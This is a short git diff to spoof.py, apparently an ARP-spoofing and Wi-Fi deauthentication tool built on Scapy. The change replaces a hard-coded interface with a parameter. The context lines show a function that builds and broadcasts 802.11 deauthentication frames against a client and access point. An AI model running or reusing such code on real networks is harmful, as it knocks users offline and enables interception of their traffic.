diff --git a/spoof.py b/spoof.py
index 2ff8787..ddbb8af 100644
--- a/spoof.py
+++ b/spoof.py
@@ -52,7 +52,7 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
 # send malicious ARP packets
 def sendDeauthPacket(iface, bssid, client):
     conf.verb = 0
-    conf.iface = 'en0'
+    conf.iface = iface
     
     def broadcastPacket():
         pkt=RadioTap()/Dot11(addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth()